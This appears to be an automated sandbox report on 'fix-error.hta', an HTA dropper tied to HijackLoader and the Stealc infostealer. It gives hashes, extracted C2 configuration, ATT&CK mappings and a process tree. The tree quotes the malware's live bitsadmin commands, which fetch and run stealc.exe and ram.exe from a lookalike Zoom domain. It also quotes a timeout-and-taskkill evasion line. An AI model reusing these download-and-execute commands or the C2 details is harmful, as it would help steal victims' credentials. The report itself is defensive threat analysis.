hijackloader | 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

Resubmissions

20-01-2025 07:05

250120-hw19wsxnfp 8

17-10-2024 09:45

241017-lq58fascng 10

Analysis

max time kernel
125s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-10-2024 09:45

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General

Target

fix-error.hta
Size

74KB
MD5

acfba6ff2e80e0ebc80df9e7d326337c
SHA1

fe28d5756815fdac31a744a2f11c075f5b1892bc
SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
SHA512

2dcea669b4b3135bca6eba88542948188e25fb040db0a83bac03957b1fd59037998e7bb4a38774115ca051f07cbeacf99fd95113321e6c8fae4568a2e4e30f00
SSDEEP

768:BfaGWSO85ALmEcHUfkJ7Bate4LV1VZ6Y3PaNNHpXKMcpgUj:gGZALNcH77BajLbf61NR1pcbj

Score

10^/10

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

Malware Config

Extracted

Family

stealc

Botnet

sneprivate29

http://95.182.97.58

Attributes

url_path
/84b7b6f977dd1c65.php

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral1/memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	1804	mshta.exe
7	1804	mshta.exe
9	1804	mshta.exe
11	1804	mshta.exe
15	1804	mshta.exe

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
2836	bitsadmin.exe
2856	bitsadmin.exe

Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
phishing google

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2328 set thread context of 2940	2328	stealc.exe	40

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2000	1736	WerFault.exe	47

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2852	timeout.exe
1924	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1064	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2328	stealc.exe
2328	stealc.exe
2940	cmd.exe
2940	cmd.exe
1736	explorer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2328	stealc.exe
2940	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	taskkill.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 2712	1804	mshta.exe	32
PID 1804 wrote to memory of 2712	1804	mshta.exe	32
PID 1804 wrote to memory of 2712	1804	mshta.exe	32
PID 1804 wrote to memory of 2712	1804	mshta.exe	32
PID 1804 wrote to memory of 2856	1804	mshta.exe	33
PID 1804 wrote to memory of 2856	1804	mshta.exe	33
PID 1804 wrote to memory of 2856	1804	mshta.exe	33
PID 1804 wrote to memory of 2856	1804	mshta.exe	33
PID 2712 wrote to memory of 2852	2712	cmd.exe	36
PID 2712 wrote to memory of 2852	2712	cmd.exe	36
PID 2712 wrote to memory of 2852	2712	cmd.exe	36
PID 2712 wrote to memory of 2852	2712	cmd.exe	36
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 2328	1804	mshta.exe	37
PID 1804 wrote to memory of 1924	1804	mshta.exe	38
PID 1804 wrote to memory of 1924	1804	mshta.exe	38
PID 1804 wrote to memory of 1924	1804	mshta.exe	38
PID 1804 wrote to memory of 1924	1804	mshta.exe	38
PID 2328 wrote to memory of 2940	2328	stealc.exe	40
PID 2328 wrote to memory of 2940	2328	stealc.exe	40
PID 2328 wrote to memory of 2940	2328	stealc.exe	40
PID 2328 wrote to memory of 2940	2328	stealc.exe	40
PID 1804 wrote to memory of 2836	1804	mshta.exe	42
PID 1804 wrote to memory of 2836	1804	mshta.exe	42
PID 1804 wrote to memory of 2836	1804	mshta.exe	42
PID 1804 wrote to memory of 2836	1804	mshta.exe	42
PID 2712 wrote to memory of 1064	2712	cmd.exe	46
PID 2712 wrote to memory of 1064	2712	cmd.exe	46
PID 2712 wrote to memory of 1064	2712	cmd.exe	46
PID 2712 wrote to memory of 1064	2712	cmd.exe	46
PID 2328 wrote to memory of 2940	2328	stealc.exe	40
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 2940 wrote to memory of 1736	2940	cmd.exe	47
PID 1736 wrote to memory of 2000	1736	explorer.exe	49
PID 1736 wrote to memory of 2000	1736	explorer.exe	49
PID 1736 wrote to memory of 2000	1736	explorer.exe	49
PID 1736 wrote to memory of 2000	1736	explorer.exe	49

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 1804
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 30 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /PID 1804
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2856
- C:\Users\Admin\AppData\Local\Temp\stealc.exe
  "C:\Users\Admin\AppData\Local\Temp\stealc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2940
  - - C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1736
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 800
        5⤵
        Program crash
        
        PID:2000
- C:\Windows\SysWOW64\timeout.exe
  "C:\Windows\System32\timeout.exe" /T 2 /nobreak
  2⤵
  - System Location Discovery: System Language Discovery
  - Delays execution with timeout.exe
  PID:1924
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2836
- C:\Users\Admin\AppData\Local\Temp\ram.exe
  "C:\Users\Admin\AppData\Local\Temp\ram.exe"
  2⤵
  PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico

Filesize
5KB

MD5
f3418a443e7d841097c714d69ec4bcb8

SHA1
49263695f6b0cdd72f45cf1b775e660fdc36c606

SHA256
6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770

SHA512
82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

Download Submit
C:\Users\Admin\AppData\Local\Temp\7729aedd

Filesize
1.0MB

MD5
6e55da6f9c2e2d5938113bee8a2a2169

SHA1
8c64d720f95c1427155aec990e536edde887dcc5

SHA256
3042740a5872ec6f403da4cb6639625a21b357d7aeb5e065e058bac021e00782

SHA512
6a04ca7b341731897e1745d953b136e9e2a3c70fe9186aab7416cbbfdefa6775323f68c9d975ef180bbde363e4c58d897f8f29c1e8119ba56a8a41a844b3e5fd

Download Submit
memory/1736-43-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-53-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-50-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-49-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-45-0x0000000000100000-0x0000000000363000-memory.dmp

Filesize
2.4MB

Download
memory/1736-44-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download
memory/2328-23-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download
memory/2328-37-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2328-22-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download
memory/2940-41-0x0000000071980000-0x0000000071AF4000-memory.dmp

Filesize
1.5MB

Download
memory/2940-40-0x0000000077460000-0x0000000077609000-memory.dmp

Filesize
1.7MB

Download